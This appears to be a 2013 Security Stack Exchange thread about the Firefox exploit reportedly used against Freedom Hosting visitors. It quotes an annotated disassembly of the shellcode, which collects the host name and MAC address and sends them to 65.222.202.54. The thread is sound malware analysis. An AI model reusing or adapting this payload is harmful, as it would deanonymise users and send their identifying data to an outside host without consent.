Could someone explain parts of the FBI's Firefox 0-day?

Question

Here is the full Javascript (and related iframes) that the FBI apparently injected into all "Freedom Hosting" pages in the course of their recent takedown.

http://pastebin.mozilla.org/2776374

The variable "magneto" looks very much like shellcode.

Some explanation is provided in this article here: thehackernews.com

Security researchers are saying that the shellcode does not download further payloads, but instead is a self-contained binary that sends an HTTP request with the target's local MAC address and hostname.

Are the researchers simply running a vulnerable version of Firefox in a VM and monitoring the behavior when executing the exploit, or can tools like libemu also work well to give details on what the shellcode does?

Also, how could all of those tasks be performed by that small bit of shellcode? A few things get concatenated to it afterwards but regardless, the byte count is still quite low.

All you really have to do is a few Win32 API calls, which are only a few bytes each. Thus a program written in assembler can be _very_ small. — Michael Hampton, Aug 05 '13 at 14:13
@MichaelHampton is correct! [+1] In fact, remembering those 4KB demos and (demonstration-only) virii we coded *"back in the days"*, I can confirm that you can put a whole truckload of functionality into a tiny bit of space as soon as you learn to love ASM and co. — e-sushi, Aug 05 '13 at 18:28
Just a note - It's not actually a 0-day - the vulnerability in Firefox was patched back in June, with Tor rolling out an appropriate update that contained the new Firefox version at the end of June. So only users without an up to date version were affected.See https://blog.torproject.org/blog/tor-security-advisory-old-tor-browser-bundles-vulnerable and https://bugzilla.mozilla.org/show_bug.cgi?id=901365#c25 — Megan Walker, Aug 05 '13 at 21:49

makerofthings7 · Answer 1 · 2013-08-06T13:29:49.880

It's not clear what you're asking, but a researcher likely analysed the Javascript code line by line.

In doing so they saw the string "WinNT" and "Firefox", which is who the Javascript is targeting. Linux VMs, exe analysis tools are anecdotal and don't focus on the core target: Windows machines running Firefox with ToR. The Firefox version must be old enough to have this bug, and it sends the MAC address and other information to 65.222.202.54

After reading out each line, they got the following analysis, which shows how a powerful a few lines of assembly code (embedded in Javascript) can do quite a lot:

source

This is an annotation and very brief analysis of the payload used by the Tor Browser Bundle exploit. Earlier I pasted a dump here: http://pastebin.com/AwnzEpmX

Briefly, this payload connects to 65.222.202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()->h_addr_list). After that it cleans up the state and appears to deliberately crash.

Because this payload does not download or execute any secondary backdoor or commands it's very likely that this is being operated by an LEA and not by blackhats.

Vlad Tsyrklevich @vlad902

A lightly annotated disassembly of the payload is included below:

00000000  skipping 0x91 bytes
00000091  5D                pop ebp
00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
         -5420
0000009C  7570              jnz 0x10e
0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
000000A4  50                push eax
000000A5  684C772607        push dword 0x726774c # LoadLibraryA
000000AA  FFD5              call ebp
000000AC  85C0              test eax,eax
000000AE  745E              jz 0x10e
000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6  50                push eax
000000B7  684C772607        push dword 0x726774c # LoadLibraryA
000000BC  FFD5              call ebp # ebp = find function
000000BE  85C0              test eax,eax
000000C0  744C              jz 0x10e
000000C2  BB90010000        mov ebx,0x190
000000C7  29DC              sub esp,ebx
000000C9  54                push esp
000000CA  53                push ebx
000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
000000D0  FFD5              call ebp
000000D2  01DC              add esp,ebx
000000D4  85C0              test eax,eax
000000D6  7536              jnz 0x10e
000000D8  50                push eax
000000D9  50                push eax
000000DA  50                push eax
000000DB  50                push eax
000000DC  40                inc eax
000000DD  50                push eax
000000DE  40                inc eax
000000DF  50                push eax
000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
000000E5  FFD5              call ebp
000000E7  31DB              xor ebx,ebx
000000E9  F7D3              not ebx
000000EB  39C3              cmp ebx,eax
000000ED  741F              jz 0x10e
000000EF  89C3              mov ebx,eax
000000F1  6A10              push byte +0x10
000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9  56                push esi
000000FA  53                push ebx
000000FB  6899A57461        push dword 0x6174a599 # connect
00000100  FFD5              call ebp
00000102  85C0              test eax,eax
00000104  741F              jz 0x125
00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
0000010C  75E3              jnz 0xf1
0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
00000115  7407              jz 0x11e
00000117  E83B010000        call 0x257
0000011C  EB05              jmp short 0x123
0000011E  E84D010000        call 0x270
00000123  FFE7              jmp edi
00000125  B800010000        mov eax,0x100
0000012A  29C4              sub esp,eax
0000012C  89E2              mov edx,esp
0000012E  52                push edx
0000012F  50                push eax
00000130  52                push edx
00000131  68B649DE01        push dword 0x1de49b6 # gethostname
00000136  FFD5              call ebp
00000138  5F                pop edi
00000139  81C400010000      add esp,0x100
0000013F  85C0              test eax,eax
00000141  0F85F2000000      jnz near 0x239
00000147  57                push edi
00000148  E8F9000000        call 0x246 # strlen of gethostname
0000014D  5E                pop esi
0000014E  89CA              mov edx,ecx
00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B  4F                dec edi
0000015C  83FA20            cmp edx,byte +0x20
0000015F  7C05              jl 0x166
00000161  BA20000000        mov edx,0x20
00000166  89D1              mov ecx,edx
00000168  56                push esi
00000169  F3A4              rep movsb
0000016B  B90D000000        mov ecx,0xd
00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
00000176  F3A4              rep movsb
00000178  89BD4B020000      mov [ebp+0x24b],edi
0000017E  5E                pop esi
0000017F  56                push esi
00000180  68A9283480        push dword 0x803428a9 # gethostbyname
00000185  FFD5              call ebp
00000187  85C0              test eax,eax
00000189  0F84AA000000      jz near 0x239
0000018F  668B480A          mov cx,[eax+0xa]
00000193  6683F904          cmp cx,byte +0x4
00000197  0F829C000000      jc near 0x239
0000019D  8D400C            lea eax,[eax+0xc]
000001A0  8B00              mov eax,[eax]
000001A2  8B08              mov ecx,[eax]
000001A4  8B09              mov ecx,[ecx]
000001A6  B800010000        mov eax,0x100
000001AB  50                push eax
000001AC  89E7              mov edi,esp
000001AE  29C4              sub esp,eax
000001B0  89E6              mov esi,esp
000001B2  57                push edi
000001B3  56                push esi
000001B4  51                push ecx
000001B5  51                push ecx
000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB  FFD5              call ebp
000001BD  85C0              test eax,eax
000001BF  81C404010000      add esp,0x104
000001C5  0FB70F            movzx ecx,word [edi]
000001C8  83F906            cmp ecx,byte +0x6
000001CB  726C              jc 0x239
000001CD  B906000000        mov ecx,0x6
000001D2  B810000000        mov eax,0x10
000001D7  29C4              sub esp,eax
000001D9  89E7              mov edi,esp
000001DB  89CA              mov edx,ecx
000001DD  D1E2              shl edx,1
000001DF  50                push eax
000001E0  52                push edx
000001E1  31D2              xor edx,edx
000001E3  8A16              mov dl,[esi]
000001E5  88D0              mov al,dl
000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9  C0E804            shr al,0x4
000001EC  3C09              cmp al,0x9
000001EE  7704              ja 0x1f4
000001F0  0430              add al,0x30
000001F2  EB02              jmp short 0x1f6
000001F4  0437              add al,0x37
000001F6  8807              mov [edi],al
000001F8  47                inc edi
000001F9  88D0              mov al,dl
000001FB  240F              and al,0xf
000001FD  3C09              cmp al,0x9
000001FF  7704              ja 0x205
00000201  0430              add al,0x30
00000203  EB02              jmp short 0x207
00000205  0437              add al,0x37
00000207  8807              mov [edi],al
00000209  47                inc edi
0000020A  46                inc esi
0000020B  E2D4              loop 0x1e1
0000020D  59                pop ecx
0000020E  29CF              sub edi,ecx
00000210  89FE              mov esi,edi
00000212  58                pop eax
00000213  01C4              add esp,eax
00000215  8BBD4B020000      mov edi,[ebp+0x24b]
0000021B  F3A4              rep movsb
0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
00000229  31C0              xor eax,eax
0000022B  50                push eax
0000022C  51                push ecx
0000022D  29CF              sub edi,ecx
0000022F  4F                dec edi
00000230  57                push edi
00000231  53                push ebx
00000232  68C2EB385F        push dword 0x5f38ebc2 # send
00000237  FFD5              call ebp
00000239  53                push ebx
0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
0000023F  FFD5              call ebp
00000241  E9C8FEFFFF        jmp 0x10e
00000246  31C9              xor ecx,ecx
00000248  F7D1              not ecx
0000024A  31C0              xor eax,eax
0000024C  F2AE              repne scasb
0000024E  F7D1              not ecx
00000250  49                dec ecx
00000251  C3                ret
00000252  0000              add [eax],al
00000254  0000              add [eax],al
00000256  008DBDE90200      add [ebp+0x2e9bd],cl
0000025C  00E8              add al,ch
0000025E  E4FF              in al,0xff
00000260  FF                db 0xFF
00000261  FF4FB9            dec dword [edi-0x47]
00000264  4F                dec edi
00000265  0000              add [eax],al
00000267  008DB5750200      add [ebp+0x275b5],cl
0000026D  00F3              add bl,dh
0000026F  A4                movsb
00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
00000276  E8CBFFFFFF        call 0x246
0000027B  C3                ret
0000027C  0D0A436F6E        or eax,0x6e6f430a
00000281  6E                outsb
00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
00000287  6E                outsb
00000288  3A20              cmp ah,[eax]
0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
0000028E  2D616C6976        sub eax,0x76696c61
00000293  650D0A416363      gs or eax,0x6363410a
00000299  657074            gs jo 0x310
0000029C  3A20              cmp ah,[eax]
0000029E  2A2F              sub ch,[edi]
000002A0  2A0D0A416363      sub cl,[0x6363410a]
000002A6  657074            gs jo 0x31d
000002A9  2D456E636F        sub eax,0x6f636e45
000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
000002BD  83C70E            add edi,byte +0xe
000002C0  31C9              xor ecx,ecx
000002C2  F7D1              not ecx
000002C4  31C0              xor eax,eax
000002C6  F3AE              repe scasb
000002C8  4F                dec edi
000002C9  FFE7              jmp edi
000002CB  0D0A436F6F        or eax,0x6f6f430a
000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
000002D4  204944            and [ecx+0x44],cl
000002D7  3D7773325F        cmp eax,0x5f327377
000002DC  3332              xor esi,[edx]
000002DE  004950            add [ecx+0x50],cl
000002E1  48                dec eax
000002E2  4C                dec esp
000002E3  50                push eax
000002E4  41                inc ecx
000002E5  50                push eax
000002E6  49                dec ecx
000002E7  0002              add [edx],al
000002E9  0000              add [eax],al
000002EB  50                push eax
000002EC  41                inc ecx
000002ED  DECA              fmulp st2
000002EF  3647              ss inc edi
000002F1  45                inc ebp
000002F2  54                push esp
000002F3  202F              and [edi],ch
000002F5  303563656134      xor [0x34616563],dh
000002FB  64652D39353164    gs sub eax,0x64313539
00000302  2D34303337        sub eax,0x37333034
00000307  2D62663866        sub eax,0x66386662
0000030C  2D66363930        sub eax,0x30393666
00000311  3535623237        xor eax,0x37326235
00000316  396262            cmp [edx+0x62],esp
00000319  204854            and [eax+0x54],cl
0000031C  54                push esp
0000031D  50                push eax
0000031E  2F                das
0000031F  312E              xor [esi],ebp
00000321  310D0A486F73      xor [0x736f480a],ecx
00000327  743A              jz 0x363
00000329  2000              and [eax],al
0000032B  0000              add [eax],al
0000032D  0000              add [eax],al
0000032F  0000              add [eax],al
00000331  0000              add [eax],al
00000333  0000              add [eax],al
00000335  0000              add [eax],al
00000337  0000              add [eax],al
00000339  0000              add [eax],al
0000033B  0000              add [eax],al
0000033D  0000              add [eax],al
0000033F  0000              add [eax],al
00000341  0000              add [eax],al
00000343  0000              add [eax],al
00000345  0000              add [eax],al
00000347  0000              add [eax],al
00000349  0000              add [eax],al
0000034B  0000              add [eax],al
0000034D  0000              add [eax],al
0000034F  0000              add [eax],al
00000351  0000              add [eax],al
00000353  0000              add [eax],al
00000355  0000              add [eax],al
00000357  0000              add [eax],al
00000359  0000              add [eax],al
0000035B  0000              add [eax],al
0000035D  0000              add [eax],al
0000035F  0000              add [eax],al
00000361  0000              add [eax],al
00000363  0000              add [eax],al
00000365  0000              add [eax],al
00000367  0000              add [eax],al
00000369  0000              add [eax],al
0000036B  0000              add [eax],al
0000036D  0000              add [eax],al
0000036F  0000              add [eax],al
00000371  0000              add [eax],al
00000373  0000              add [eax],al
00000375  0000              add [eax],al
00000377  0000              add [eax],al
00000379  0000              add [eax],al
0000037B  0000              add [eax],al
0000037D  0000              add [eax],al
0000037F  0000              add [eax],al
00000381  0000              add [eax],al
00000383  0000              add [eax],al
00000385  0000              add [eax],al
00000387  0000              add [eax],al
00000389  0000              add [eax],al
0000038B  0000              add [eax],al
0000038D  0000              add [eax],al
0000038F  0000              add [eax],al
00000391  0000              add [eax],al
00000393  0000              add [eax],al
00000395  0000              add [eax],al
00000397  0000              add [eax],al
00000399  0000              add [eax],al
0000039B  0000              add [eax],al
0000039D  0000              add [eax],al
0000039F  0000              add [eax],al
000003A1  0000              add [eax],al
000003A3  0000              add [eax],al
000003A5  0000              add [eax],al
000003A7  0000              add [eax],al
000003A9  0000              add [eax],al
000003AB  0000              add [eax],al
000003AD  0000              add [eax],al
000003AF  0000              add [eax],al
000003B1  0000              add [eax],al
000003B3  0000              add [eax],al
000003B5  0000              add [eax],al
000003B7  0000              add [eax],al
000003B9  0000              add [eax],al
000003BB  90                nop

My question was more along the lines of: did they analyze the shellcode by simply writing the bytes to an EXE and opening it in a disassembler/debugger, and if so, how did they figure out the API calls and such? — Anorov, Aug 05 '13 at 21:25
@Anorov See this: http://security.stackexchange.com/q/19139/396 — makerofthings7, Aug 05 '13 at 22:24

Could someone explain parts of the FBI's Firefox 0-day?

1 Answers1

Linked